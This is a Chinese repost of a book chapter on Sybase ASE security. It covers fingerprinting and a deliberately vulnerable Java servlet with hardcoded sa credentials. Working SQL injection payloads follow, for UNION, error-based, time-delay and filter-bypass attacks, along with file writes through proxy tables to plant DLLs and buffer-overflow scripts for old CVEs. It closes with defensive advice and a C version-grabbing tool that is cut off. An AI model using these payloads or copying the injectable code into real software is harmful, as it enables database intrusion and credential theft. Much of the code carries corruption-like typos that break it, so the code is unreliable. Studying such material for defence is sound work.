西关注:原文来自数据库黑客大曝光—— 数据库服务器防护术,真正要研究数据库安全的可以买一本看看,支持正版。本文来自第十四章。
Sybase的攻击和防御是一个广泛的主题,因此本章试图提取问题的本质,并演示一些有趣的攻击和场景。在防御方面,如果可能的话,可以采取很多措施以增加攻击的难度。本章涉及了很多防御问题。
但是首先需要定位Sybase服务器并确定其配置。
14.1 发现目标
攻击Sybase服务器的第一步是在网络中定位服务器。本节描述了多种定位Sybase服务器的方法。
14.1.1 扫描Sybase
正如前面已经注意到的,Sybase通常监听一 些众所周知的TCP端口—— 5000-5004、8181和8182。配置Sybase监听不同的端口是很容易的,但是这些众所周知的端口真的帮了大忙。使用端口扫描工具,例如 Fyodor的nMap(http://www.insecure.org/nmap),是通过特定已知的开放端口定位主机的最好的方式。
如果可以在网络内远程访问Windows注册表,检查ODBC数据源将非常有用。在
HKEY_LOCAL_MACHINE\Software\ODBC
内仅仅搜索SybaseServerName和NetworkAddress就可以看到主机名、IP地址和配置在有疑问的主机上的任何ODBC数据源的TCP端口。
如果公司有LDAP基础结构,也可以使用LDAP查询。
14.1.2 Sybase版本号
Sybase身份验证失败的响应数据包内包含了服务器的主(major)版本号和次(minor)版本号,因此嗅探身份验证失败的数据包可以获得版本号。该数据包看起来就像如下所示:
Ethernet Header
…
IP Header
…
TCP Header
Source port: 5000
Dest port: 1964
Flags: 0×18 (ACK PSH )
…
Raw Data
04 01 00 4e 00 00 00 00 ad 14 00 06 05 00 00 00 ( N )
0a 73 71 6c 20 73 65 72 76 65 72 0c 05 00 00 e5 ( sql server )
23 00 a2 0f 00 00 01 0e 05 5a 5a 5a 5a 5a 00 01 (# ZZZZZ )
00 0e 00 4c 6f 67 69 6e 20 66 61 69 6c 65 64 2e ( Login failed. )
0a 00 00 00 00 fd 02 00 02 00 00 00 00 00 ( )
紧跟在字符串“sql server”后面的4个字节是版本号—— 0x0c=12,0×05=5,因此该主机的版本号是12.5.0.0。用这种方式取得版本号并不是故事的全部—— 需要去验证并select @@version以得到那些信息—— 至少能得到某种暗示。发送前述数据包的服务器实际上正在运行ASE 12.5.1。
利用轻微删简的身份验证数据包有可能得到Sybase服务器的版本号。根据我们的试验,即使设置了身份验证日志选项,被删简的身份验证尝试也不会被记入日志。这就很好了,因为我们并不真的要尝试身份验证;我们只想在错误响应中获得服务器的版本信息。
为了可以把失败与成功的身份验证尝试记录到日志中,执行如下命令:
sp_configure ‘log audit logon failure’, 1
sp_configure ‘log audit logon success’, 1
在本章的末尾您可以找到实现一个简化工具的C源代码,该代码实现了通过删简的身份验证数据包来获得Sybase版本。
14.1.3 窥探身份验证
在默认的“即开即用”(out of the box)配置内,Sybase以明文形式在网络上传递口令。这是一个如此明显和著名的安全风险,以至于几乎所有的公司都曾采用某种缓解措施—— 或者采用Sybase的建议并部署一种更高级的身份验证方式,例如Kerberos,或者使用加密的IPSec通道或类似措施。虽然如此,默认配置偶尔还 是会出现,因此要留意从Sybase客户机到普通Sybase服务器端口5000-5004的通信量,那里也许很可能就有明文的口令。
因为支持多数本地数据库身份验证机制,也有可能 发动中间人(man-in-the-middle)攻击。当攻击者假装是数据库服务器时,就会出现该场景。通常,攻击者将不得不侵入一台DNS或WINS 服务器才能这么做,但是这依赖于网络内的名字解析基础结构,也许可以直接攻击。
14.2 攻击Sybase
本节讨论攻击Sybase服务器的技术。这些技术可应用于多种情况;例如,在“SQL注入”下列举的几个技术与攻击者可以发出任意SQL查询的每个情况都相关。
14.2.1 Sybase中的SQL注入
Sybase在SQL注入方面有一个特有的问 题,这部分地是因为它共享了基于Microsoft SQL Server的ancestral代码。因为Microsoft平台上的SQL注入已经被研究得非常透彻,并且因为Sybase共享了很多相同的性质,这 使得Microsoft SQL Server相当容易遭受SQL注入攻击(成批查询、全面subselect支持、非常有帮助的错误消息),即使攻击者对Sybase了解不多,也非常有 可能“找到附近的路”。此外,Sybase提供了一整套新功能,该功能可被攻击者在SQL注入攻击的上下文内利用,Java集成就是一个非常典型的示例。
本节提供了简短的SQL注入的最新技术资料,评估被到处宣扬的Sybase环境内的Microsoft SQL Server攻击技术的有效性,然后研究一些Sybase特有的技术,例如Java-In-SQL和通过proxy表进行的文件系统交互。
在深入涉及SQL注入机制之前,先简短地讨论一 下严重性和有效范围。如果Sybase服务器(和XP服务)正以低特权用户运行,Web应用程序用于连接的Sybase用户是低特权的,并且全面安装了最 新的补丁,那么就从根本上降低了SQL注入的实际影响。但这仍是个严重的问题,因为攻击者仍然可以对数据做应用程序可以做的每件事情,但是降低了攻击者把 数据库服务器作为进入内部网络的登陆场的可能性。
我们将在本章的后续部分对防御做大体上的讨论。
14.2.2 SQL注入基础
为了恰当地讨论SQL注入,需要一个可以充分演 示该问题的应用程序样例。通常人们最关心Web应用程序内的SQL注入,因此我们将用一个非常简单的Web应用程序做样例。对于应用程序样例在决定技术平 台时存在困难,因为Sybase支持很多种机制。因为Java是Sybase策略的一个关键部分,一个小型的基于Servlet的Java Web应用程序可能是恰当的样例。
下面是一个小型Java Servlet样例的源代码,该程序在Sybase默认数据库pubs2内按照包含特定搜索字符串的标题查询书籍。可以将其安装在任何支持Servlet的Web服务器上,例如Tomcat。
import java.io.*;
import java.lang.*;
import java.net.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
import com.sybase.jdbc2.jdbc.*;
public class BookQuery extends HttpServlet
{
public void init(ServletConfig config) throws.ServletException
{
super.init(config);
}
public void destroy(){}
protected void processRequest(
HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
PrintWriter out = response.getWriter();
try
{
response. setContentType (“text/html”);
out.println(“<html><headxtitle>Book Title Search
Results</title></head>”);
out.println(“<bodyxhl>Search results</hl>”) ;
Class.forName(“corn.Sybase.jdbc2.jdbc.SybDriver”);
Connection con = DriverManager.getConnection(“jdbc:
Sybase:Tds:sybtest:5000″,”sa”, “sapassword”);
Statement stmt = con.createStatement();
String search = request.getParameter(“search”);
ResultSet rs = stmt.executeQueryt”select * from
pubs2..titles where UPPER(title) like UPPER(‘%” + search + “%’)”);
int numberOfColumns = rs.getMetaData().getColumnCount();
rs.next();
out.println(“<TABLE border=l>”);
while( !rs.isAfterLast())
{
out.print(“<TR>”) ;
for(int i = 1; i <= numberOf Columns; i++)
{
out.print(“<TD>”);
out.print(rs.getString(i));
out.print(“</TD>”);
}
out.print(“</TR>”);
rs.next();
}
rs.close();
out.println(“</TABLE>”);
out.println(“</body>”);
out.println(“</html>”);
}
catch( SQLException e )
{
while( e != null )
{
out.println(e);
e = e.getNextException();
}
}
catch( Exception e )
{
out.printin(“Exception:” + e);
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse
response)
throws ServletException, IOException
{
processRequest(request, response);
}
protected void do Post(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
processRequest(request, response);
}
public String getServletInfo()
{
return “SQL Injection Servlet Sample”;
}
}
一旦安装,该Servlet可以通过GET请求直接查询,如下所示:
http://sybase.example.com/servlet/BookQuery?search=database
这将返回记录The Busy Executive’s Database Guide。
如果搜索单引号字符(’),将得到错误消息:
com.Sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the
character string ‘)’. com.Sybase.jdbc2.jdbc.SybSQLException: Incorrect
syntax near ‘)’.
这里的问题是,Servlet以字符串构造SQL查询,不验证用户的输入。由于输入可以包含单引号字符(’),攻击者可以修改查询以便巧妙地做不同的事情。
下面是有漏洞的代码的片断:
String search = request.getParameter(“search”);
ResultSet rs = stmt.executeQuery(“select * from pubs2..titles where
UPPER(title) like UPPER(‘%” + search + “%’)”);
假设我们要返回master..syslogins表内的用户名称。可以按如下所示修改代码:
select * from pubs2..titles where UPPER(title) like UPPER(‘%1234′) union
select name,null,null,null,null,null,null,null,null,0 from
master..syslogins–%’)
提交下面的URL:
http://sybase.example.com/servlet/BookQuery?searchsl234′)+union+select+
name,null,null,null,null,null,null,null,null,0+from+master..syslogins–
将返回syslogins表内的所有用户名称。
事实上,如果对该结果不感兴趣,通过利用Transact-SQL查询批处理特性,可以提交我们喜欢的任何SQL:
http://sybase.example.com/servlet/BookQuery?searchs’)+create+table+foo (a+integer)–
显然,这是一个严重的安全问题,有以下几个原因:
(1) 攻击者可以提交其选择的SQL查询,包括DML(Data Manipulation Language,数据操纵语言)和DDL(Data Definition Language,数据定义语言)语句。
(2) 攻击者使用由应用程序提供的预验证通道;因此攻击者可以做应用程序可以做的任何事情。在上述人为的示例中,应用程序以sa验证,因此攻击者可以轻易控制运行Sybase的服务器。但是一般的帐户都是低特权的用户帐户。
因为在这个特定的示例中,攻击是基于攻击者可以插入单引号,阻止这一做法的快速方法是插入下面这行代码:
search = search.replaceAll( “‘”, “””);
在调用getParameter后,可使单引号“变成双份”。当然,这个方法对数字数据无效,因为在Transact SQL内不能界定数字。如果搜索pub_id或者价格,攻击者就可以只在数字之后直接注入SQL,无需单引号。
现在您已经看到了对SQL注入(相当)简短的介绍,下一节将深入介绍Microsoft SQL Server注入技术的工作方式。
14.3 Sybase内的MS SQL Server 注入技术
有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表,这是因为Sybase 和MS SQL Server有共同的来源,值得快速研究一下这个著名的技术和其在Sybase内的工作方式。
14.3.1 注释
Sybase使用“–”和“/*”注释风格,这种方式与MS SQL Server非常一致,因此可以利用“–”序列以同样的方式截短查询。过度精神紧张是不明智的—— 因为采取使注释序列无效的方法总是有可能完成查询的。例如,在前面的UNION SELECT示例中,
http://sybase.example.com/servlet/BookQuery?searchsl234′)+union+select+
name,null,null,null,null,null,null,null,null,0+from+master..syslogins–
可以用一个不必要的or来结束查询:
http://sybase.exainple.com/servlet/BookQuery?searchsl234′)+union+select+name, null, null, null, null, null, null, null, null, 0+from+master. . syslogins+
where+l=l+or+(‘a’=’a
用这种方式可以使整个查询在语法上保持正确。一般的,多余的or操作符在where从句内可以工作,或者(如果正在注入批处理语句)在批处理后面附加select。
14.3.2 Union Select
正如您刚才所看到的,union select语句几乎以完全相同的方式工作。
14.3.3 错误消息
Sybase错误消息几乎和MS SQL Server错误消息一样有用。特别是“整数转换”(integer conversion)技巧完全相同。利用该技巧,攻击者故意把VARCHAR类型的数据强制转换为整数,目的是引发包含了真实的VARCHAR数据的错误消息。例如,为了获取服务器上数据库的列表,可以使用如下所示的查询:
select name from master..sysdatabases order by name
为了在我们的示例中获得同样的结果,使用整数转换技术,发送请求:
BookQuery?search=’)+and+l=convert(integer,(select+min(name)+from+
sysdatabases+where+name>”))–
这将返回如下所示的消息:
com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value ‘master’ to a INT field.
可见,错误消息包含了字符串master,这是结果集的第一行记录。为了得到下一条,修改查询以便select大于master的最小值,于是:
BookQuery?search=’)+and+l=convert(integer,(select+min(name)+from+
sysdatabases+where+name>’master’))–
错误消息返回字符串model。用这种方式,迭代查询所有的行记录,直到select不能返回进一步的数据为止。
14.3.4 @@version
在MS SQL Server中,简单的查询语句
select @@version
将返回操作系统和DBMS的版本号,该版本号足够用来鉴别缺少的补丁程序。Sybase内仍然存在全局变量@@version—— 参考前面一节的错误消息技术,可以用如下方式获得:
BookQuery?search=’)+and+l=convert(integer,(select+@@version))–
这将在如下所示的行内返回一些信息:
‘Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#l/P/NT (IX86)/OS
4.0/asel252/1838/32-bit/OPT/Sat May 29 03:34:29 2004′
此处的相关项有12.5.2,亦即DBMS的版 本号;相关项EBF11948,是emergency bug fix(紧急bug修复)号;ESD#1,是Electronic Software Delivery(电子软件交付)号,那是一个累积的补丁集,与Windows的Service Pack相似。
另一个全局变量@@version_as_integer返回Sybase的major version—— 该版本同样可以通过前面所列的版本抓取脚本来获得,本例中返回12500,表示版本12.5.0.0。
为了利用前面概述的错误消息技术得到整数,只需将整数转换为不可被隐式转换为整数的字符串,如下所示:
convert(integer,(select ‘z’ + str(@@version_as_integer)))
这提供了一个查询
BookQuery?search=’)+and+l=convert(integer,(select+’z'%2bstr (@@version_as_integer)))–
返回结果
com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value ‘z 12500′ to a INT field.
通常,为了利用整数转换错误消息来获得任意数据类型的变量,首先要将变量强制转换为字符串,然后执行整数转换。
14.3.5 Having/Group By
在MS SQL Server中,通过在select语句末端附加having子句,有可能枚举表和域名,例如having 1=1。MS SQL Server错误消息的形式如下所示:
Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
(列users.id在选择列表内无效,因为其没有被包含在聚集函数内,并且缺少GROUP BY子句。)
在Sybase和MS SQL Server内,having和group by子句的语法有轻微的差异;特别是,Sybase的having和group by语法更自由,因此不能使用这个特定的技术。
14.3.6 SQL批处理注入
在MS SQL Server内可以注入成批的语句,这使得可以执行高于和超过单个Transact-SQL语句可执行的操作,特别是成批的语句涉及流控制语句、变量声明和操作以及混合使用DDL和DML语句以更改数据库结构。
Sybase流控制和声明语句的工作方式几乎与MS SQL Server完全相同,因此这种类型的注入对Sybase很有效。
14.3.7 xp_cmdshell
Sybase支持执行扩展的存储过程,其方式与 MS SQL Server极其相似,但是采用了略微不同的机制。默认的,只有管理员才可以执行xp_cmdshell。此外,有一个特殊的xp_cmdshell配置 设置,决定了xp_cmdshell执行的安全上下文。如果通过如下的语句将选项设置为0
Sp_configure ‘xp_cmdshell context’, 0
Sybase将在其自身的安全上下文内执行命令shelll。如果设为1(默认值),xp_cmdshell将在执行查询的用户的上下文内运行,该用户必须是操作系统级别的管理员。
14.3.8 xp_regread
Sybase没有与xp_regread等价的过程,因此任何xp_regread技巧(例如读取Windows下的SAM数据库)都对Sybase无效。
14.3.9 自定义的扩展存储过程
Sybase内的存储过程API工作方式几乎与MS SQL Server的完全相同,因此,涉及恶意的扩展存储过程的概念也与MS SQL Server的相当一致。主要的显著区别是,Sybase内扩展的存储过程由扩展过程服务执行,其进程不同于主要的Sybase数据库服务器进程。由于这一区别,某些攻击(例如,应用运行时代码补丁)对Sybase无效。
14.3.10 调用CHAR函数以绕过引号筛选器
偶尔您会发现某公司使用将查询语句内各处的单引 号简单“加倍”的方式处理SQL注入。(通常)这个方法对于字符串数据还不错,但是对数字数据没有帮助。当利用数字域的SQL注入时,此时单引号被转义, 有一个小小的不便之处,那就是很难表示字符串的字面值,因为不可以使用单引号字符。不过,CHAR函数允许通过拼接基于符号码的字符的方式来创建字符串字 面值。这是一种MS SQL Server内的通用技术,其工作方式与Sybase内的相同。
例如,
select char(0×41)+char(0×42)+char(0×43)
将产生(‘ABC’)。
事实上,由于VARBINARY可以被隐式地强制转换为VARCHAR,下面的语句是一种更经济的字符串编码方法,无需使用引号:
select char (0×41)+0×42434445
将产生结果‘ABCDE’。
在某些情况下,您可能会发现尽管单引号被转义了,但双引号没有被转义(通常二者可以互换):
select “ABCDE”
Sybase中双引号转义方式与单引号转义相同,即字符串内两个连续的双引号被解析为一个双引号。
14.3.11 SHUTDOWN
SHUTDOWN命令是一个很好的示例,可以说 明为什么即便在查询内注入很少的字符也是危险的,它常被用于MS SQL Server注入初步排查。SHUTDOWN命令可关闭数据库服务器;这很简单。虽然这么做需要admin特权,但是很容易想象在Web应用程序上取得特 权所需付出的努力。Sybase内SHUTDOWN的工作方式与SQL Server相同,包括WITH NOWAIT选项。
14.3.12 通过sp_password逃避审计
在MS SQL Server中,如果攻击者将字符串
sp_password
附加到Transact-SQL语句后,审计机制将在日志内记录如下内容:
– ‘sp_password’ was found in the text of this event.
– The text has been replaced with this comment for security reasons.
这一行为发生在所有的T-SQL日志中,即使sp_password出现在注释中也是如此。当然,这么做目的是在用户传递口令时隐藏用户的明文口令,但是对于攻击者来说这也是一个非常有用的行为。
在Sybase中,审计机制并不存储查询的全部文本,因此默认的审计机制不会遭受这种类型的逃避攻击。
14.3.13 连接服务器
Sybase具有查询外部服务器的能力,其方法与MS SQL Server大体相似,但其配置则更加复杂和可适应。就如同在MS SQL Server之间看到的一样,在Sybase服务器之间也可能发现预验证通道,这是因为促使人们设置这种通道的商业因素是相同的。
然而,在Sybase中,用于连接外部服务器的口令(依赖于具体配置)以弱加密格式存储于guest可读的表内(sysattributes)。
因此,如果配置了外部登录(sp_addexternlogin),也许可以从sysattributes表内得到弱加密的口令:
(from sp_addexternlogin)
update master.dbo.sysattributes
set object_cinfo = @externname,
image_value = internal_encrypt(@externpasswd)
internal_encrypt() produces output like this:
select internal_encrypt (‘AAAAA’)
————-
0×4405440544
我们把解密算法留给读者作为练习。
因为guest用户可以读取sysattributes表,故弱加密可能会引起安全风险。任何用户都可以发出查询
select image_value from sysattributes where len(convert(varbinary,
image_value))>0
来获得“加密”的外部口令,然后以一般方法解密,就可以获得服务器配置的所有外部登录的证书。当然,这一问题只存在于某些身份验证模型中,不过,在您打算配置外部登录时,应该记住这个问题。
另外,internal_encrypt函数偶 然发生的问题是人们有时候会将其用于自定义的Sybase应用程序,以替代散列算法。如果在google上搜索internal_encrypt,在搜索 结果中您将看到几个技术新闻组的记录。前述的做法是相当不明智的;正如您所看到的,由internal_encrypt提供的加密异常脆弱。不建议在生产 系统内使用无文档说明的内部函数。较好的解决方案可能是利用Sybase对Java的卓越支持,以及使用MD5或SHA1的成熟版本作为口令散列算法。
14.3.14 利用时间延迟作通信通道
在以前关于MS SQL Server内SQL注入的文章里,我们曾讨论了利用时间延迟从数据库中提取信息的技术。不过这一技术适用于多种DBMS,这种特有的机制在MS SQL Server中反映为waitfor语句。该技术相当强大,无需修改就可以用于Sybase。
在Sybase中,命令
waitfor delay ’0:0:5′
将使Sybase等待5秒钟。如果用这种方法来中止我们有漏洞的样例Servlet,需要发送的请求如下所示:
BookQuery?search=’)+waitfor+delay+’0:0:5′–
通常,可以用这种技术测试Web应用程序的SQL注入。尝试多种形式的waitfor命令,以便最大化正确构造语句的机会:
BookQuery?search=0+waitfor+delay+’0:0:5′–
BookQuery?search=’ +waitfor+delay+ ’0:0:5′–
BookQuery?search=”+waitfor+delay+’0:0:5′–
BookQuery?search=’)+waitfor+delay+’0:0:5′–
BookQuery?search=”)+waitfor+delay+ ’0:0:5′–
在数据库驱动的Web应用程序内,该请求从用户 Web浏览器传送到一些应用程序环境—— 在本例中是Java Servlet。应用程序构造查询然后将其发送到数据库。几乎在每个示例中,应用程序都会等到查询完成,然后将结果返回给用户。因为该过程是同步的,可以 从客户Web浏览器上测量延迟。在前面的示例中,如果服务器响应HTTP请求的时间超过5秒钟,那么该应用程序也会非常慢,或者说容易受到SQL注入攻 击。如果遇到缓慢的应用程序,可以仅增加“注入”的延迟。
为了从数据库中提取任意的信息,我们采用了与错 误消息技术相类似的技术。通常,我们把需要的数据构造成字符串,然后显式地强制转换为整数。产生的错误消息中将包含需要检索的文本。利用时间延迟来提取数 据的技术是基于从字符串中提取独立的二进制位。因为可以将任何数据库数据表示为字符串,并且可以从字符串中提取每个独立的二进制位,所以利用时间延迟作为 传输通道可以检索所需要的任何数据。
如果db_name()返回的字符串的第一个字节的低位(位0)为1,下述语句将中止5秒钟:
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 0)))>0 waitfor
delay ’0:0:5′
通过改变正在提取的2的幂次(即二进制位),可以确定第一个字节的所有二进制位:
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 1)))>0 waitfor
delay ’0:0:5′
if (ascii(substring(db_name(), 1, 1)) & ( power(2, 2)))>0 waitfor
delay ’0:0:5′
if (ascii (substring (db_name(), 1,1))&( power(2, 3)))>0 waitfor
delay ’0:0:5′
和其他等等。在本例中,得到的二进制位(按照从高到低的有效顺序)为:
01101101
即0x6d,或m。如果继续执行并提取其余的字节,可以发现db_name()是master。
乍一看,这并不是令人恐怖的实用的攻击;尽管它 提供了一种将单个二进制位从数据库内的字符串传输到浏览器的方式,但是很明显其带宽为每5秒钟1位。然而,此处需认识到的一个重点是,传输通道是随机访问 的不是顺序访问的;可以按照所选择的任何顺序,请求我们喜欢的任何二进制位。因此,可以向Web应用程序同时发出很多请求,同时检索多个二进制位;在请求 第二个二进制位之前,不必等待第一个二进制位。因此,通道的带宽不是受时间延迟的限制,而是受可以同时发出的、可通过Web应用程序到达数据库服务器的请 求的数量限制;通常是数以百计的请求。
很明显,一个harness脚本需要提交数以百计的、自动方式所需要的请求。当输入易受攻击的Web服务器和脚本的位置、需提交给脚本的参数和期望执行的查询时,脚本将运行。数百个Web请求被发出,脚本按照字符串收到时的样子重新装配二进制位。
我们在真实的Web应用程序中做了测试,证明4秒钟是一个有效的时间延迟(导致位错误率为1/2000),可支撑的查询率为同时32个查询。传输率大约每秒钟1个字节。听起来不大,但是足够在几个小时内传输整张表的口令或者信用卡。
14.3.15 VARBINARY字面值编码和Exec
在MS SQL Server中,exec函数允许执行动态构造的SQL查询语句。例如:
exec(‘select @@version’)
有时候,人们对已知的SQL语句和常量,例如select、insert、update、delete、xp_cmdshell和@@version,进行筛选。利用如下所示的查询,exec使得可以相当轻易地避开这些筛选:
exec(‘sel’+'ect @’+'@ver’+'sion’)
或者还可以采用以VARBINARY字面值编码整个字符串的方式:
declare @s varchar(2000)
set @s=0x73656C65637420404076657273696F6E
exec(@s)
这等价于select @@version。显而易见,如果exec本身被筛选的话,就会使事情变得比较困难。通常,对已知的SQL语句筛选用户输入是一种异常糟糕的处理SQL 注入的方法。在某些示例中,人们删除“已知糟糕的”关键字,利用如下所示的请求可以轻易避开这一措施:
selselectect @@ver@@versionsion
换言之,在“已知糟糕的”内容中嵌入其自身。这种做法通常都有效,除非一直进行筛选使得内容不可以置换。
14.4 外部文件系统访问
通过对Component Integration Services’ Proxy Table(组件集成服务代理表)的支持揭示出,Sybase拥有非常丰富的与本地文件系统交互的机制。为启用这个机制,管理员必须 执行
sp_configure “enable cis”, 1
sp_configure “enable file access”, 1
不需要重启服务器;配置一经修改,外部文件系统机制就应该生效。为了读取外部文件的内容,需为之创建proxy表,然后将其当作普通表对其执行select操作:
create proxy_table foo_txt external file at “c:\temp\foo.txt”
select * from foo_txt
该表被默认创建为单个VARCHAR列,列宽度为255个字符。如果每行需要处理更多的字符,可以使用create existing table语法:
create existing table foo_txt (record varchar(1000) null)
external file at “c:\temp\foo.txt”
您可以在本地对该表进行insert、select和truncate,但是不可以update表,尽管您可以使用update语句编辑foo.txt和临时表。假设foo.txt包含如下内容:
record
hello world
line 2
line three
如果您希望编辑第一行并读取goodbye world,可以按如下所示进行:
create table #foo( record varchar(l000))
insert into #foo select * from foo_txt
update #foo set record=’goodbye world’ where record like ‘hello world’
select * from #foo
truncate table foo_txt
insert into foo_txt select * from #foo
drop table #foo
注意,在truncate和其后的insert之间有一段时间间隔,那时foo.txt内没有数据。如果您正在编辑配置文件,这也许是个问题,因此使用该技术时要谨慎。以适当特权的用户来编辑配置文件的效果留给读者思考。
在时间足够以及有足够权限编辑文本的条件下,有可能侵入大多数的主机,也有可能利用Sybase文件API创建(几乎)任意二进制文件。
由于Sybase将在每“行”的末端插入一个“新行”符号(0x0a),因此出现了一个小困难。幸运的是每行可以非常长,行内可以包含总数任意的字节,因此在这些限制条件下,有可能上传几乎每个二进制文件到Sybase服务器上,虽然需要一点微小的修改。
为了创建任意的二进制文件,只需要以适当的名称创建由外部文件支持的表,以及恰当地定义VARCHAR最大行长度,如下所示:
create table foo_exe (record varchar(l000))
external file at “c:\temp\foo.exe”
然后可以将VARBINARY字面值插入文件内。再次提醒,每个字面值行将被截短为指定的行长度,然后在其后附加一个字节0x0a:
insert into foo_exe values(0x00010203040506070809fffefdfcfbfa)
利用这个技术,有可能上传自定义的扩展存储过程 DLL或库,用sp_addextendedproc或CREATE PROCEDURE加载它,然后执行新的扩展存储进程所调用的库内包含的代码。幸运的是,外部文件系统功能只允许管理员(即,sa或者sso角色的账户) 访问。
14.5 防御攻击
有几个相当直接的措施可以用于防御本章所提到的所有攻击。多数措施将在第16章“保护Sybase”内进一步讨论,现在,仅在此做一简要概述:
● 确保服务器安装了最新补丁。
● 用防火墙保护Sybase服务器。
● 以严格的防火墙规则集筛选输出通信量和输入通信量。也许没必要为Sybase服务器初始化输出TCP连接或者发送任何UDP通信量,这取决于于具体配置。
● 应用Sybase服务器上自身的防火墙规则集。例如,如果正在使用Linux,则使用IPTables。Windows服务器平台的IPSec机制也提供一些保护措施。
● 绝对不要允许Web应用程序以管理账户(sa或sso_role)连接Sybase服务器。
● 如果可能,使用可选的身份验证方法。“标准的”身份验证方式是不够的。
● 如果不使用Java,不要启用它。事实上,故意删除一些Java组件可能是个不错的想法。
● 类似的,如果不使用外部文件系统访问,不要启用它。
● 如果可能,以低特权用户运行Sybase。
● 应用恰当的文件系统权限,以确保即使用户可以侵入Sybase数据库,也不能获得对服务器的管理控制。
● 确保恰当地限制对xp_cmdshell的访问。
14.6 过去已知的一些Sybase ASE安全bug
以前曾经在Sybase内发现过多种安全漏洞。下面列举了一些这样的问题。
14.6.1 CAN-2003-0327—— 远程口令数组溢出
2003年Rapid7发布了一份关于 Sybase ASE 12.5身份验证处理代码溢出的报告。报告指出,通过在登录请求中指定无效的域长度,可以触发堆溢出,但是该攻击需要有正确的用户名和口令。文献中将其影 响纪录为拒绝服务,但是大量的被记录为堆溢出开发,因为当时该问题不为人所知,而且有可能(实际上,是很可能的)该问题在实际中可以被利用。
14.6.2 DBCC CHECKVERIFY缓冲区溢出
2002年,Application Security公司发布了一份关于Adaptive Server Enterprise 12.5的DBCC CHECKVERIFY命令内的可利用的堆栈溢出的报告。无特权用户可以执行该命令,因此这个问题和以前描述的NGS bug属于同一类别。
可以在下述地址找到进一步的信息:
http://www.securityfocus.com/bid/6269
下面是一个演示该漏洞的样例脚本:
declare @s varchar(16384)
select @s = replicate(‘A’, 16384)
DBCC CHECKVERIFY(@S)
14.6.3 DROP DATABASE缓冲区溢出漏洞
2002年,Application Security公司发布了一份关于ASE 12.5的DROP DATABASE命令的可利用的堆栈溢出的报告。进一步的信息可以在下面的地址内得到:
http://www.securityfocus.com/bid/6267
同样,下面是演示该漏洞的脚本:
declare @s varchar(16384)
select @s = replicate(‘A’, 16384)
DROP DATABASE @S
14.6.4 xp_freedll缓冲区溢出
2002年,Application Security公司发布了一份关于ASE 12.0和12.5的xp_freedll扩展过程的可利用的堆栈溢出的报告。默认地,所有用户都可以访问该扩展过程,因此该溢出使得无特权用户可以完全 控制数据库服务器。更多信息可在下面的地址内找到:
http://www.securityfocus.com/bid/6266
下面的脚本再现了该bug:
declare asl varchar(10000)
set @sl = @sl + replicate(‘x’,300)
set @sl = @sl + ‘.dll’
exec xp_freedll @sl
14.7 Sybase版本工具
下面列出了本章前面提到的Sybase版本抓取工具的源代码。代码是为Windows平台编写的。
// sybaseversion.cpp
// Chris Aniey [chris@ngssoftware.com]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>
#include <time.h>
int syntax()
{
printf(“syntax: sybaseversion <host> <port>\n”);
return 1;
}
int err( char *psz )
{
printf(“%s\n”, psz );
return 0;
}
int init_sockets()
{
int ret=0;
WORD wVersionRequested;
WSADATA wsaData;
// Initialise Winsock in this thread
wVersionRequested = MAKEWORD( 2, 0 );
ret = WSAStartup( wVersionRequested, &wsaData );
if ( ret != 0 )
return err( “Couldn’t start sockets” );
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
return err( “Wrong version of sockets” );
return 1;
}
int create_tcp_socket()
{
return (int)socket( AF_IMET, SOCK_STREAM, 0 );
}
int set_timeout( int socket, int timeout_milliseconds )
{
if ( setsockopt( socket, SOL_SOCKET, SO_RCVTIMEO, (const char
*)&timeout_milliseconds, sizeof( int ) ) != 0 )
return 0 ;
if ( setsockopt( socket, SOL_SOCKET, SO_SNDTIMEO, (const char
*)&timeout_milliseconds, sizeof( int ) ) != 0 )
return 0;
return 1;
}
int bind_to_port( int socket, int port )
{
struct sockaddr_in sa;
int ret;
sa.sin_port = htons( (short)port );
sa.sin_family=AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
ret = bind( socket, (struct sockaddr *)&sa, sizeof( struct
sockaddr ) );
if ( ret != 0 )
return err(“Couldn’t bind to port. Maybe something is already”
” using it?”);
return 1;
}
int set_listen( int socket )
{
if ( listen( socket, SOMAXCONM ) != 0 )
return 0;
return 1;
}
int get_new_connection_socket( int socket, unsigned int *connectinghost,
int *ps )
{
int sc;
struct sockaddr_in client;
sc = (int)accept( socket, (struct sockaddr *)&client, NULL );
if ( SC == INVALID_SOCKET )
{
//ret = WSAGetLastError();
return err( “Error immediately after receiving”
“connection\n” );
}
*connectinghost = (unsigned int)client.sin_addr.S_un.S_addr;
*ps = sc;
return 1;
}
int connect_to( int socket, char *host, unsigned short port )
{
struct sockaddr_in sa;
int i, len, alpha = 0;
struct hostent *he;
unsigned long addr;
len = (int)strlent host );
for( i = 0; i < len; i++ )
{
if( isalpha(host[i]) )
{
alpha = 1;
break;
}
}
if(alpha )
{
he = gethostbyname(host);
if ( he == NULL)
return 0 ;
}
else
{
if ( len > 16 ) // xxx. xxx. xxx. xxx
return 0;
// just use the ip address
addr = inet_addr( host );
if ( addr == INADDR_NONE )
return 0;
he = gethostbyaddr( (char *)&addr, 4, AF_INET );
sa.sin_addr.s_addr = addr;
}
sa.sin_family=AF_INET;
sa.sin__port = htons( port );
if ( connect( socket, (struct sockaddr *)&sa, sizeof( struct
sockaddr ) ) == SOCKET_ERROR )
return 0;
return 1;
}
int receive_data( int socket, char *buffer, int length, int *bytes )
{
int ret;
ret = recv( socket, buffer, length, 0);
*bytes = ret;
if ( ret > 0 )
return 1;
return 0;
}
int send_data( int socket, char *buffer, int length, int *bytes )
{
int ret = send( socket, buffer, length, 0 );
*bytes = ret;
if ( ret == 0 )
return 0;
return 1;
}
